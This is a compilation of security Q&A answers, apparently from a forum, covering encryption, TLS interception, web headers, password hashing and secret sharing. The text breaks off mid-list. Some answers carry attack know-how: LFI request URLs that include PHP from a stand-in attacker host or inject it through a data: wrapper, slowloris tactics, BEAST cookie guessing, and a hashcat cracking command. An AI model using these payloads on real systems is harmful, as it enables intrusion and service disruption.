Moving onto keysize, the bigger the key the more computational strength required to properly perform encryption or decryption. The more data required to perform the encryption will increase your decryption/encryption times. However, by doubling key length, you are exponentially increasing the level of difficulty to crack a key, not merely doubling it. This is why certain researchers may discourage smaller key sizes (such as AES128) and encourage adoption of larger keys (AES 256). It's the same fundamental protocol, but breaking the encryption is much more costly for the attacker.

Going on to the fourth sub question, I would recommend reading the post above on the appeal of ChaCha20 vs AES. Though it is a singular example, it discusses how the mathematics of encryption do not always align with computational process. This is why ChaCha20 can be performed quicker than AES even though it may iterate 20 rounds of encryption instead of ten or more with AES. Summarized, identically sized keys will operate differently based on the ability of the processor to churn through the data based on the mathematical computation required.

Lastly, you asked about the security of the tunnel over all. In reality, a high security payload is better off being encrypted and decrypted before being packaged for transmission to begin with. This will further challenge an attacker because your data security is not compromised if your network channel is; even if a man in the middle attack is successful.

As a security architect, my job is to determine what the "right" level of security is for a business process. This turns out a high number of variables including what the potential risk factor is, cost to the company in the event of breach, perceived valued of the data, cost to mitigate, and more. If you're trying to protect a public share, then a lighter security scheme is required than if you're protecting a security data lake. Being able to account for the business and technical requirements will help dictate your needs.

In your example of a file share, if speed of access and least impact to network are of highest importance, then a smaller encryption key size and lightweight cipher will benefit your business use case. If you're trying to prevent loss of sensitive data, then increasing key size and even choosing a slower algorithm may be justified. The point is that the "right" encryption may be different depending on your use case, even within the same company.


RAM is used to store sensitive non-persistent information in a lot of cases. Encryption keys would be a common example.

Sometimes it is possible to remove RAM and place it into another device to dump the contents - often with the aid of liquid nitrogen.

For more information, see the Wikipedia article for Cold Boot Attack.


Yes Pi is appended to the body; (re)read the paragraph labelled Blockwise Privilege at the top of the page. Remember HTTP and thus HTTPS is a stream protocol; if you make a request to upload say 100 gigabytes uncompressed video you probably won't do it in a single step. To restate a little more finely:

Step 1 Mallory's code causes something in Alice's browser to open a connection and begin a request. It formats the HTTP request header plus the initial part of the body (which actually might be empty), plus an HMAC and padding not relevant to the attack, forming the first data record blocked as P1 .. Pn, encrypts those to C1 .. n, and sends those blocks. For the example, block P3 (encrypted to C3) contains a known value except one byte of cookie Mallory wants to guess.
Step 2 Mallory captures C1 .. Cn
Step 3A Mallory forms Pi = (IV=Cn) xor C2 xor Pguess (a guessed value for P3).
Step 3B Mallory's code tells the something Pi is the next block of the request body. It therefore creates a second data record beginning with Pi (or if you prefer, P2001 to mean the first block of the second record) plus other stuff we don't care about, encrypts it using IV (or IV2 for second record) = Cn, producing Ci .. ignored (or C2001 .. C200x). Mallory captures these.

If Pguess was correct (Pguess = P3) then
the block Ci/C2001 encrypted from Cn xor (Cn xor C2 xor Pguess=P3)
is the same as the block C3 encrypted from C2 xor P3.

However, unless you have really old (and probably horribly unsafe) systems, you can no longer exploit BEAST, because practically everybody has implemented data fragmentation to block it. See https://stackoverflow.com/questions/15224909/jsse-wrap-creates-two-tls-packets-requiring-two-unwraps-why/15225921#15225921 .

(PS: That document is PDF, not LaTeX. But it makes no difference to the meaning.)


If your company owns and manages your computer, they have following options to inspect your HTTPS connections:

Adding their certification authority to operating system/browser
trusted certificate store. This will allow them to generate valid
certificates on the proxy for any website you are connecting to.
Furthermore, they are even able to turn off certificate preload
lists in the browser, thus allowing substituting “known good”
certificate with a spoofed one.
They may install software on your PC
to monitor all filesystem and network activity, including HTTPS
connections. There are a lot of data loss prevention (DLP) software
vendors who offer such functionality. It may operate in silent mode,
completely invisible to user. This software is surprisingly common
within the enterprises.

Connection snooping on proxy server is relatively easy to detect. The website certificate presented to you by proxy will differ from the one you get when opening site from your home or even using mobile device. If public keys and certificate fingerprints of aforementioned certificates don’t match, then there is almost certainly connection snooping happening (there are sometimes valid reasons for this mismatch, so it is a good idea to check the whole certificate chain the same way in this case).

If the company uses endpoint software to watch the employee activities, then detecting this becomes harder, especially if you don’t have administrator privileges. If it is not running in silent mode, you can look up list of running processes, system tray or list of installed programs to see if there are some odd/unknown programs listed (and then search their names online). In case of silent mode of operation, detecting it will probably require kernel debugging/rootkit detection skills (or asking a sysadmin).


Any frameworks that outline the requirement or recommendation of a Security Operations Center?

I disagree with your premise.

"Monitoring" is required by many frameworks and regulatory requirements, but I'm not sure there is value in specifying the overhead of a SOC to implement monitoring so specifically.

Setting up a SOC is a natural consequence of being compliant with the various frameworks. In order to be consistent, to have staff on hand to respond, and having repeatable and consistent processes for monitoring and response can be done in a variety of different ways. Once the number of things to monitor, the number of events, and the number of incidents reaches a critical point, the natural next step is setting up a SOC.


What can an Android app without added permissions do?

Androids security model is such that each app runs in its own sandbox, and access to anything outside that sandbox is a permission that needs to be granted by the system.

There are a few categories of permissions, and those that fall into the "normal" category are allowed without user choice. An example is access to the internet.

Access that poses a risk to the user's system or user's privacy are not "normal" and are termed "dangerous" and have to be approved by the user.

https://www.kaspersky.com/blog/android-permissions-guide/14014/
https://developer.android.com/guide/topics/permissions/requesting.html


Is there any way my password is hashed, if I'm only ever asked to provide 5 out of many characters?

No - there's no practical way to hash your password in this case.

For the website to work this way, the hash would have to allow you to verify that a 5-character subset of the password matches a certain value. That means you could brute force those 5 characters on their own, which is readily practical, and once you know 5 characters, it's easy to brute force the rest. This is somewhat similar to the weakness of LANMAN passwords.

Partial passwords do have security benefits, especially against key loggers. Banking apps sometimes have a normal password that is hashed on the server, and an additional authentication code, which you only enter partially, and is NOT hashed on the server. This is considered completely acceptable, but becoming less common as multi-factor authentication is a better solution.

In this particular case, it is not clear-cut that this is a bad idea. You need to weigh the risk of server compromise against the risk of client-side key loggers. In fact, it is the client that is at greater risk. So despite going against normal best practice, this website is not so dumb after all.


Which security measures make sense for a static web site?

The common web application attack vectors don't apply to a strictly static website. Without interactive elements there are no accounts to hijack or cookies to steal. Nonetheless, you should provide your visitors with encrypted access - even if you're not hosting delicate content.

TL;DR

Use HTTPS with HSTS to ensure some degree privacy and the integrity of your content to visitors. Adding HPKP to a static site might be unnecessarily paranoid and you have to be careful when deploying it. The other discussed security measures are mostly irrelevant for a static site, but they are so simple to implement that you might still decide to use them.

HTTPS

Yes, do it. With free SSL certificate providers like Let's Encrypt you need a very good reason not to switch. HTTPS protects privacy and integrity of the transmitted data which is desirable even with static content.

Scenario for an integrity violation: If you offer downloads, a man-in-the-middle attacker could tamper with the files to deliver malware. Example of a privacy violation: My employer, the owner the WiFi hotspot I'm connected to or my ISP could all see which exact articles I'm reading and content I'm downloading from your site. With HTTPS however, I would mostly expose metadata (the IP address I'm connected to, the hostname due to SNI, etc.).

HTTP Strict Transport Security

Yes, do it. HSTS helps to enforce that users only use HTTPS to connect to your website, thereby preventing SSL stripping attacks. If you roll out HTTPS, it makes a lot of sense to follow up with HSTS. It's easily implemented by adding an additional response header, like this:

Strict-Transport-Security: max-age=31536000

Since HSTS only takes effect from the first time a user encounters the header (TOFU model) and until the max-age timeout is reached, you might even want to submit your site to the HSTS preload list. This has the effect that users will start connecting via HTTPS from their very first visit.

Be aware that it's troublesome to switch back to plain HTTP after enabling HSTS.

HTTP Public Key Pinning ("Certificate Pinning")

It depends. While HSTS tells the browser to strictly use HTTPS for a given time, a HPKP header specifies which certificates the browser should trust in the future. Pinning public keys from the certificate chain protects users against an attacker replacing your certificate with a rogue one. Such an attack is very unlikely since the adversary would need to compromise a CA to be able to issue rogue certificates (although that has happened before). Additionally, you have to be careful when setting up HPKP since a defective deployment could make your site unavailable to previous users.

Detectify Labs have an excellent article on HPKP with a more optimistic conclusion:

  So should you use HPKP? Yes, you should. If you pin correctly, the
  chance of everything going south is pretty small.

Content Security Policy

Yes, but you might not really need it. The CSP was created to mitigate XSS and related attacks by limiting which resource type from which origin is allowed to be loaded by your site. Since you have a purely static website and probably don't embed external sources at all, it might not be an actual attack vector. A sensible policy would depend on which kind of resources you are loading. For example, this restrictive policy header only allows content from the same origin:

Content-Security-Policy: default-src 'self'

Clickjacking protection

Yes, why not. Clickjacking attacks trick a user into unwittingly interacting with your website through a disguised frame. If you have no interactive elements however, there is no actual damage to be done. (In a better world cross-origin frames would be an opt-in feature, though.) The implementation is straightforward. This example disallows any frame embedding at all:

X-Frame-Options: Deny

Note that the XFO header has been declared obsolete in favor of the frame-ancestors CSP directive:

Content-Security-Policy: frame-ancestors 'none'

Content sniffing protection

Yes, why not. If you don't correctly declare content types, browsers might guess (sniff) the type (although that behavior has become less common). This is particularly dangerous with user content that is supposed to be non-executable but determined to be an executable format after sniffing due to a missing content type. With your static site that will hardly become an issue. Just to be safe you could add the following header to prevent sniffing (but it's not a replacement for properly declared MIME types):

X-Content-Type-Options: nosniff

See also: Does X-Content-Type-Options really prevent content sniffing attacks?

Also have a look at the OWASP Secure Headers Project for more details on security-relevant headers with some real-life examples.


Each connection should be send completely (so send a complete incomplete request), the incomplete GET request will make the server think that you are on a poor connection and keeps waiting for the rest of the request.

Each connection does require its own port, for this reason slowloris doesn't work well on windows, which limits it to ~130 ports. Sending the requests with an interval will still have the same result, but keep in mind that you need to fill up all the incoming connections of the server before the first one starts to time-out.

It's not out dated, they even updated the script to also support ipv6, you can simply test this by setting up an apache2 server and run slowloris.pl. If you setup mod_status you can watch the connections filling up real time.


Correctly disclosing Private API security shortcomings

1) Just report the issue. Don't even mention "I'm not trying to extort you".

2) One way to completely avoid legal problems is to report anonymously. Create a webmail account using ToR, and do all communication through that. It's sad that we have to consider this, but legal issues can cause you great problems, even if you've not broken the law.

3) The most official disclosure route is bugtraq@securityfocus.com. Organisations like CERTs and Secunia will pick it up from there. The vendor will usually release their own advisory; your advisory is like a blog post that you'd promote: Twitter, Reddit, etc.

4) Apply for a CVE number at some point before you release the advisory. It's easy to get one and you only need to reveal outline details of the vulnerability.

5) If the issue gets fixed and the vendor is constructive, you could lift your anonymity. Pointing to advisories you've published is very helpful for technical infosec employment.

One other thing: I suggest you don't bring up time lines initially. Only do this if they seem to be excessively slow.


How can i read the source code of this encoded powershell script from the registry?

This malware tries to avoid using files and processes by having the payload reside in the registry and using the PowerSploit methods to load code directly into memory via PowerShell commands. The Invoke-ReflectivePEInjection gives it away. It belongs to the Terkop malware family.


NOTE : not a QSA, but do have some PCI experience

The merchant executive officer is the officer of the company that has responsibility for compliance/regulatory matters.  This is often the Chief Financial Officer, but could be a Chief Security Officer, Chief Technology Officer, even the Chief Executive Officer or Chief Operating Officer.

Who it is depends on the company, but it is likely the "C" level executive to whom the people who handle compliance, certification and regulatory matters reports to.


Do thin-clients need antivirus/antimalware?

This depends on quite a few factors. A few points for and against AV in thin clients. What is the thin client actually used for? Is it normal users workstations or or a specific app?

What connectivity do they have? Access to network shares? This could allow malware to spread across the infrastructure via shares, this could include ransomware.
Are the the clients sessions destroyed and reverted when they log out? This would clear any existing malware on the system. However, depending on the connectivity as above movement to another server may have already taken place if the connection allows it.
If you have connectivity to the web, and nothing else, if malware gets onto that machine data from that session and users profile could be exfiltrated via the internet.
Does the host the clients are running on have AV? And are the shares scanned on a regular basis? This could be a good halfway house, but won't be able to detect in memory malware, but to be persistent, malware must write to a file "at some point" and when this happens if you are scanning all the mount points used within the thin client, then you should be able to detect it.

In my view, as a someone in the security field, I'd say yes, run AV. It's potentially a point of exposure for malware to enter your network and you want to stop that asap.


Computer hasn't been connected to internet for 2 weeks

In reading some of these answers, I wonder if some read the question: "A computer hasn't been connected to the internet for 2 weeks" as most answers are spouting "static IPs" or "if your computer is connected to the Internet." I would steer clear of these answers as it demonstrates that answers are simply being typed without a thought process.

On to the answer. So your computer hasn't been connected, and you seem to be worried that the moment you connect, something is immediately going to infect you. There are two approaches to solve this problem. The first is out of band updates, where you could either use a WSUS proxy server to download the updates, then get them from your server, or you could download them on your own. Same applies for antivirus.

As far as I can tell, and know of, there have been no "catastrophic" viruses or worms affecting Windows similar to Blaster, SoBig, and others. If you are that concerned, you could determine what the IP addresses are to the sites where you need to get updates from (Microsoft, and your AV vendor) then create a Windows based firewall rule to ONLY allow those sites, and block everything else. The issue with this is, CDN's (Akamai for example) where updates are not coming from your vendor, but a third party.

Another alternative solution (albeit long and cumbersome) is to place the machine on its own network, and monitor traffic to and from it with a sniffer (Wireshark, etc) otherwise, there is no reason to fear that turning that machine on will immediately trigger it to be "hacked" or "infected" or otherwise. That last sentence is based on the premise that the machine does not require a static address, and or, is using exploitable services (vulnerable http, pop3, etc).

There is a difference between vulnerabilities and exploits, and I have stated this before: "not every vulnerability is exploitable." The mere fact that you may have a vulnerable version of say Internet Explorer means little if all you are doing is connecting DIRECTLY to Microsoft for an update. Versus you steadily using the same IE for day to day web browsing.


Yes, this site is safe to use.
If you are still worried, run the application locally offline, as you mentioned, and take the proper precautions so the application can't "phone home".
From the GitHub page:

If you are security conscious you are of course encouraged to download the source code for this app and run it locally by simply opening the index.html file. If you run it from the web feel free to run it without a network connection to demonstrate nothing is sent or received from an upstream server once the initial page load is complete.

If you are extra paranoid, sift through the source code first.
If you are SUPER EXTRA PARANOID, take the advice, once again, found on the GitHub page:

If you want to be REALLY REALLY secure. Roll the dice with a flashlight under a black hood with a printout of the Diceware word list. No computers needed!
Not really kidding

The only issue I can think of is whether or not they are generating sufficiently "random numbers". That is for you to decide based on the method they use and the information they provide on the application page. IMHO, it's a safe enough method.


Gmail twofactor auth on untrusted computer

If you are using two factor authentication, then any malware sniffing your password would not be able to login in future.

However, as soon as you do log into an untrusted computer, your session is exposed. Any malware with access to the session could export your whole mailbox in the time it takes you to sign out other sessions using a trusted computer. They could also do other things on your Google account such as forwarding all future mail to them using Filters, or disabling two factor authentication totally. The former would show a warning message for a few weeks when logging into the Gmail web application though.

They also might be able to lock you out of your account by changing your password. All in all it is not really safe to log into an untrusted computer using a sensitive account.


Local File Inclusion to RCE using PHP File Wrappers

You can't use include() to leverage LFI into dynamic RCE. You would have to already have a file with code in it (i.e., evil-RCE-code.php) on the system to call. For example:

  If an application passes a parameter sent via a GET request to the PHP
  include() function with no input validation, the attacker may try to
  execute code other than what the developer had in mind.

  The URL below passes a page name to the include() function.

  http://testsite.com/index.php?page=contact.php

  The file "evil-RCE-code.php" may contain, for example, the phpinfo()
  function which is useful for gaining information about the
  configuration of the environment in which the web service runs. An
  attacker can ask the application to execute his PHP code using the
  following request:

  http://testsite.com/?page=http://evilsite.com/evil-RCE-code.php

Source (Disclaimer: I added the "-RCE-" part to make it easier to see where the RCE goes.)

Take a look at this for a different approach:

  Good approach is to use file inclusion as follows:
  <?php define('MY_FILE_PATH','/var/www/htdocs/');require_once(APP_PATH
  .'lib.php');?>

  Let’s now take a look at another example, consider the
  following page:

  http://localhost/index.php?file=page1

  page1 is the file that is dynamically included into the webpage, by
  looking at the above url, we can assume that the backend would be
  using the following code:

  And now imagine that attacker changes value of variable “file” to
  following:

  http://localhost/index.php?file=data:text/plain,<?php phpinfo();?>

  LFI can easily be converted to remote code execution (RCE) in one way
  more. This new data protocol has appeared in PHP 5.2.0 and in older
  versions will not work. Also PHP will argue and would not allow to use
  it if allow_url_include=off which results in a full path disclosure.

  There are other possibilities how code can be injected and later
  evaluated; via apache log files, using “/proc” and others. Without a
  doubt, inappropriate usage of functions like file_get_contents(), readfile(), input wrappers like php://input, and others represent a
  threat as well.

Full Article

More Background Info and Reading


Can someone scan a website from a remote address and steal users login information?

They can't snoop your traffic unless they are in a position of adjacency to any system in the routing chain.

When a client first connects to a server, the packet will go from their computer to their router, which then passes it on to the ISP's local routing server, which then passes it down a backbone (via a set of other large routers) and eventually to the server's ISP's local router, through the data center's network infrastructure, and eventually to the actual server. In total there may be as many as 40+ routers involved, if you're routing across the globe. If any single one of these is compromised, an attacker could sniff traffic.

However, your primary risk scenarios are:

User's computer is compromised.
User's network is compromised.
Server's network is compromised.
Server is compromised.

In scenario #1, you can't do anything to prevent the issue. Their system is compromised and their credentials can be stolen. You can help mitigate the issue by asking for 3 characters of a secret word each time they log in, but decent malware would just steal the session ID or something similar.

In scenario #2, an attacker can put their network adapter in promiscuous mode, which allows them to sniff the traffic on the network. If you don't use SSL, this traffic can be read, tampered with, etc. Protecting users from this scenario is the primary reason for using SSL.

In scenario #3, a similar issue occurs, but it's on the server network. The requirements for a successful attack here are largely based on network layout and configuration, since the position of the compromised system on the network is critical in terms of whether the attack will be successful. A switch between their system and yours could prevent promiscuous sniffing. It's pretty hard to know whether or not this kind of attack is happening (it's not your network, it's the hosting company's) so SSL is a good protection here.

In scenario #4, you're screwed again. Your server is compromised and no amount of transport security will save you.

There's a 5th scenario, whereby an ISP or backbone provider (e.g. Level3) are actively logging and sniffing traffic on their network. If you care about this, SSL can help. If you're worried about state actors (e.g. the NSA, with PRISM), then SSL isn't really going to help you, as they can use warrants to get hold of the server's private key and decrypt all of the traffic.


Does opening an arbitrary file in a language (such as Python) pose a security risk?

No.

If the filename is controlled by the user, then you might open yourself up to vulnerabilities (e.g. an attacker might try to read config files with the database password). But just opening a file handle for an uploaded file can't do much.

Perhaps if the underlying mechanism would try to read the whole file for buffering purposes, it might fill up RAM and crash the process, but Python doesn't do that: to read the whole file, you would first have to call f.read() -- but that is just what you do with it, and not opening the file. Only opening the file is harmless.


Can I be screen-recorded without my knowledge? Is it possible?

Yes, of course they can, as any software can run in the background without any visual signals in the UI. Especially when a computer is compromised you can't trust anything it shows you, as it could be altered to hide the activities.
However, if the screen is constantly captured and it's sent to the perpetrator, it will probably generate a noticeable amount of outgoing network traffic.


Cant crack Responder hashes with John or Hashcat

Your Responder hash may be invalid, corrupt, or using an outdated format. Is it possible that you're using an older version of Responder, as noted in this question?

Showing my work:

Generally, the best way to validate your hashcat attack is correct for a specific hash type is to try your attack against an example hash from the hashcat wiki list of example hashes. For NetNTLMv2 (mode 5600 - is that what you're using?), here is the example hash for the string 'hashcat':

admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030

... which my hashcat (4.0.1) loads fine for me with:

hashcat -m 5600 -a 3 test.hashes

But my version of hashcat fails to load your hash -- not with the "no hashes loaded" that you're seeing, but with a "salt-value exception" error. (Is it possible that you're running an older version of hashcat?)

I also tried a couple of the Responder hashes shown in some tutorial articles (like this one), and I am able to load those into hashcat using -m 5600.

So I've tentatively concluded that there's something wrong with your hash.


Smart cards that are used for cryptography do generate and use the asymmetric key on the device. They typically employ mechanisms to try and prevent extracting of the private key. This includes wiping the key material when a PIN has been entered wrong too many times. There has been lots of research into using cryptographic side-channel attacks to extract information by observing the smart card during crypto operations.

As for how applications interact with the smart card, every system I've worked with in the past has used a combination of OpenSC and the PKCS #11 interface it provides. PKCS #11 is the standard for interacting with cryptographic hardware devices like smart cards and HSMs.


Why can't I install from a USB? Kali USB installation demands a CD-ROM. How can I get around this?

For me, I flashed the full kali image to a large flash drive, then booted. I would recommend doing the same. Also, make sure that you are not using the VM version


What is a simple way to "2 out of 3"-secure a 24 words phrase without computers?

I propose plates with the following instructions, a decoding table, and a block of monospaced text (different on the three plates), as follows:

Take two plates and combine the text at their bottom, letter by letter, using the following decoding table, in order such that the first decoded character is . (figuring space). Ignore it, then decode the rest in the same manner to obtain the passphrase.

    | A B C D E F G H I J K L M N O P Q R S T U V W X Y Z .
----+------------------------------------------------------
- A | A B C D E F G H I J K L M N O P Q R S T U V W X Y Z .
- B | C A B F D E I G H L J K O M N R P Q U S T X V W . Y Z
- C | B C A E F D H I G K L J N O M Q R P T U S W X V Z . Y
- D | G H I A B C D E F P Q R J K L M N O Y Z . S T U V W X
- E | I G H C A B F D E R P Q L J K O M N . Y Z U S T X V W
- F | H I G B C A E F D Q R P K L J N O M Z . Y T U S W X V
- G | D E F G H I A B C M N O P Q R J K L V W X Y Z . S T U
- H | F D E I G H C A B O M N R P Q L J K X V W . Y Z U S T
- I | E F D H I G B C A N O M Q R P K L J W X V Z . Y T U S
- J | S T U V W X Y Z . A B C D E F G H I J K L M N O P Q R
- K | U S T X V W . Y Z C A B F D E I G H L J K O M N R P Q
- L | T U S W X V Z . Y B C A E F D H I G K L J N O M Q R P
- M | Y Z . S T U V W X G H I A B C D E F P Q R J K L M N O
- N | . Y Z U S T X V W I G H C A B F D E R P Q L J K O M N
- O | Z . Y T U S W X V H I G B C A E F D Q R P K L J N O M
- P | V W X Y Z . S T U D E F G H I A B C M N O P Q R J K L
- Q | X V W . Y Z U S T F D E I G H C A B O M N R P Q L J K
- R | W X V Z . Y T U S E F D H I G B C A N O M Q R P K L J
- S | J K L M N O P Q R S T U V W X Y Z . A B C D E F G H I
- T | L J K O M N R P Q U S T X V W . Y Z C A B F D E I G H
- U | K L J N O M Q R P T U S W X V Z . Y B C A E F D H I G
- V | P Q R J K L M N O Y Z . S T U V W X G H I A B C D E F
- W | R P Q L J K O M N . Y Z U S T X V W I G H C A B F D E
- X | Q R P K L J N O M Z . Y T U S W X V H I G B C A E F D
- Y | M N O P Q R J K L V W X Y Z . S T U D E F G H I A B C
- Z | O M N R P Q L J K X V W . Y Z U S T F D E I G H C A B
- . | N O M Q R P K L J W X V Z . Y T U S E F D H I G B C A

EKIAIJEBRP.ZOXHAOLKXMBWSPENLGKIIJYRDEYJQYOYISHMLQPRPNHKEPHNOLOMBCRDMGNXRSHBCQOVZFNIRIQFGPONEFDXAO.ILFHLCJEPVC..K

RTXAYBREAOWMYWXAWVYYXDIUBUSHKMVQWMJWVBHDBDNNEIBANTFECVXE.LVAFYBIMLTBD.PNYLCCCYNUN.XUJPVGQE.CFHPNRMYRPPLBBATDXMMG

SBLAQUSHWKSCBVJADHFTEIJTXPIVXRKYIANOOOXUOWCSRG.TKFUUYLGEHVFZ.B.DZOR.AABJVVACVBFVVALFWRNGRVAGFCB.LBQOT.LAUIFMRBBX

(Each plate has only one of the three above blocks of text).

This decodes to (including the leading .to be ignored)

.SMALL.GREEN.BOAT.WITH.BROWN.HOT.MILK.ON.LOW.COLD.MOON.AT.TOP.OF.GOOD.RED.CAR.LIT.MY.BLACK.FAIR.GOLD.TABLE.SPOON

This is a manual Shamir secret sharing performed on the individual letters of the passphrase, using a Latin square. I'll introduce the principle with an example using 3 symbols, before describing the full system.

If the key was composed of n digits among 012, noted Kj where 1 ≤ j ≤ n , e.g. 120221.. we could proceed as follows:

one plate is marked E followed by n random digits among 012, noted Ej,
  e.g. E012101..
one plate is marked R followed by n digits among 012, noted Rj, with
  Rj = (3 + Ej - Kj) % 3;   [where % is the modulo operator]
  e.g. R222210..
one plate is marked S followed by n digits among 012, noted Sj, with
  Sj = (3 + Rj - Kj) % 3;
  e.g. S102022..

To recover the key for any two plates, use that
     Kj = (3 + Ej - Rj) % 3;
     Kj = (3 + Rj - Sj) % 3;
     Kj = (3 + Sj - Ej) % 3;
depending on which plates are used. This recovers the key. Each plate in isolation is random, thus gives no clue at all about the key.

Equivalently, encoding and decoding can use this subtraction table:

    | 0 1 2
----+------
- 0 | 0 1 2
- 1 | 2 0 1
- 2 | 1 2 0

This is adapted to more than three symbols by representing them in base 3. The 26 letters and the special sign . (for space) can be written as three digits in base 3, with the alphabet ABCDEFGHIJKLMNOPQRSTUVWXYZ. represented by 000 to 222. The table for subtraction ( - ) is the one on the plates.

One plate has uniformly random characters ABCDEFGHIJKLMNOPQRSTUVWXYZ. except the first is E, and the other two plates are prepared from the key, with a dummy K0 set to ..

    Rj = Ej - Kj
     Sj = Rj - Kj

Decoding is per the equations:

    Kj = Ej - Rj
     Kj = Rj - Sj
     Kj = Sj - Ej

The E R S at start of the plates allow identifying them, and lead to the decryption of . as the first character.


Under UK data protection act, who is reponsible for ensuring the data is transmitted to the data processor securely

Please let me start by saying that I am an IT person not a lawyer. As such, this is my opinion on the matter and cannot be taken as definitive.

As in the comments, the Data Controller is responsible for the data over all. The DC may pass data to others to process and Data Processors have their own responsibilities but the Data Controller cannot devolve their responsibility.

However, in this case, none of that really applies. You are choosing to send your personal data to someone. Once it is with them, they will be Data Controllers not you.

For transmission, the issues are somewhat complex. If the recipient is providing the mechanism for transfer then they have a responsibility to ensure that it is secure and doesn't leak your personal data since they are the DC.

Anyone claiming to keep your data secure who then asks you to transmit it unsecured would already be breaking at least the spirit of the legislation. However, if you are foolish enough not to think about this and you agree to send it anyway, I rather suspect that this would be taken into account if there was a breach.

Thankfully, you clearly have thought about it!

So there is something of a shared responsibility to begin with and then the organisation holding your data becomes a Data Controller and has responsibility.

For banking, there is a lot more than the DP act to take into account as that is a far more regulated industry. If a bank creates a financial system for you as a customer and fails to secure it properly, the responsibility in the UK at least will certainly fall on them not you. As a customer, you cannot be expected to understand the technical issues around cyber security. Customer protections in banking are excellent in the UK and you would most certainly get back any money lost & could expect to have expenses covered for any identity theft.


is it possible to find the original value of a hashed string, if you don't have the entire hash

Finding the original contents won't be helped if you only have part of the hash value. You still have to try possible input strings until you get lucky, i.e. hit the exact right one. In all generality, you can see it in the following way: if working with a partial hash value helped, then any attack on a full hash value would start by truncating that hash value.

Finding a matching input string, i.e. one that outputs the same partial hash value (but not necessarily the string that was really used in the first place), can be made easier if the target hash output is truncated. For instance, if the SHA-256 output was truncated to, say, 20 bits (out of the original 256 bits), then it is expected that about one string in a million will yield these same 20 bits (because 220 is about one million), so finding a matching input string would only be a matter of trying a million or so inputs, which can be done in a fraction of a second on a common PC. However, if the truncation still leaves 60% of the output, i.e. about 150 bits, then forget it (2150 is way beyond what can be done with existing technology).


As far as I know, the zxcvbn project is an entirely client-side javascript app, meaning that, in theory, no data needs to be sent back to the server.

In order to find out if it's sending data back or not, you can do several things;

Use a packet sniffer, like wireshark, to inspect any data that this web page is sending back to the server.
On the page you link to, you can View Page Source and click through to all of the zxcvbn/*.js scripts that are being run. Have a look for yourself at what they're doing!
In the case of zxcvbn specifically; this is an open source project. You can find the source at github.com/dropbox/zxcvbn. If you are planning to use zxcvbn as a plugin on your own page, then you can look at the exact source code that you're running and make sure it's not doing anything suspicious. if it is doing something that you're not comfortable with, then modify it! Or, if JavaScript isn't your thing, there are open source zxcvbn ports to just about every language imaginable on github.


WiFi Deauth Attack equivilent for bluetooth?

Not that i have ever heard of. Bluetooth communication is not designed like wifi communication. When we drop clients via the method you speak of the communication happens at the 2.4Ghz (or more recently at 5Gz) all communication is done at that range give or take depending on the channels.

Bluetooth is a little different. v4.0 specification document here:

https://www.bluetooth.org/docman/handlers/downloaddoc.ashx?doc_id=229737

In the case of internet routers are always available to talk to based on the BSSID and ESSID and we also use this to determine the clients connected to them with something like aerodump.

In the case of Bluetooth however, if a device is not discoverable we would need to know the 48 bit bd_addr. in undiscoverable mode the device wont respond to scanning attempts and will not reveal this to us. but we'll assume you have it somehow, captured it when it was discoverable.

When communication starts the messages are sent in what are called pages and this is where things get fun. Amongst the steps required for communication are that of clock synchronization and frequency agreement (among which a channel master access code) and channel hopping sequence, this is the main difference in the communication of wlan devices.

This is how piconets (the little network each master and slave device exist in) are formed, each with its own frequency hopping mechanism and channel pass code. see section 4.1.1 on the topology. This is what i think is the main problem with creating a similar attack here. but well get to that in a bit. just know we're talking about 1600 hops per second. Its important to also note that if a Bluetooth device is the master of a connection, it cannot be the master of any other connection. It can however be a slave of multiple connections. So a Bluetooth hub will most likely make connections as a slave. Since the access code and frequency hoping are also defined by the master device this also plays a role in why i think it cant be done. See 3.1 for full connection sequence.

Once the connection is finished an LMP_detach can be sent from one device to the other but it is not required, nor is the response required. There is also no guarantee that i can see here, that a slave device will ignore any communications after receiving an LMP_detach or soft reset. I think that if sufficient time for desynchronization to occur has passed, resynchronization would simply be necessary.

To sum it all up, in order to issue the LMP_detach we would have:

to get the bd_addr of the device we wish to spoof
obtain the master access code of that communication
know the frequency hop topology
have a master clock completely synchronized with the device (and therefore the slave)
issue the command as the master
hope it stops responding

Oh and there is encryption somewhere in there too.

Like i said, I've never tried this? but i think that the clock synchronization and frequency hopping would be the biggest hurdles to achieving something like this. I'm not one to say anythings impossible though. And I'm no expert in Bluetooth by far. If it has been done, id love to see it! But this is just my 2c.

I don't think it can be done.


Pronounceable words are more-or-less sequences of syllables. What constitutes a syllable depends on the language, including the language variant (British, Scottish, American, Indian... versions of English are not rigorously identical). So we will make some approximations.

Let's suppose that we want two-letter syllables, always a consonant followed by a vowel. We also want to avoid ambiguous syllables: there shall be an injective mapping from pronounced syllables to letters; thus, we will not use "c" or "q", relying only on "k" and "s". We end up with:

18 consonants: b, d, f, g, h, j, k, l, m, n, p, r, s, t, v, w, x, z
6 vowels: a, e, i, o, u, y

Not that this entails pronouncing "hi" as in hit, not high; "ge" as in get, not gel; and so on.

We then end up with 18×6=108 unambiguous two-letter syllables. The number of possible passwords of length n is then 108n/2, i.e. about 10.39n. If you want 10-letter passwords:

Sequences of 10 random letters: 141167095653376 choices
Sequences of 5 random syllables: 14693280768 choices

Compare this with the total number of possible English words, which has been estimated to about 470000 (only). For passphrases, the number of passphrases of a given length or up to a given length is necessarily greater than the number of words of the same length, since a single word is a kind of passphrase. However, your inference is correct: for a given length in characters, independent random letters provide the most room for entropy, followed by random syllables, followed by sequences of random words ("passphrases"), followed by single words.

The story does not stop there, though. The whole notion of passwords revolves around scarce resources. Namely:

The password must be remembered.
The password must be typed.

Thinking in terms of "number of letters" relates mostly to the second resource: more letters imply more typing efforts. Not that the character kind matters: if the user must use his smartphone, then he will much prefer a sequence of lowercase letters than a password which mixes letters and digits or distinct casings.

Using "pronounceable" passwords is a trade-off: we accept to use more letters, so that we may use a password that better fits our echoic memory. Note that the number of possible "syllabic passwords" of length n is 10.39n, very close to the number of digits-only passwords of length n (10n); but many people will find it much easier to remember a random syllable than a random two-digit integer.

Whether echoic memory is the best compromise depends on the subject. Some people work better with pictures than sound (that's called iconic memory). There are even some people who are most at ease with numbers, and would prefer n random digits over n/2 random syllables. One of the main points of the famous comic is that most people really remember stories, and sequences of meaningful words are the substance stories are made of. We may add the following points:

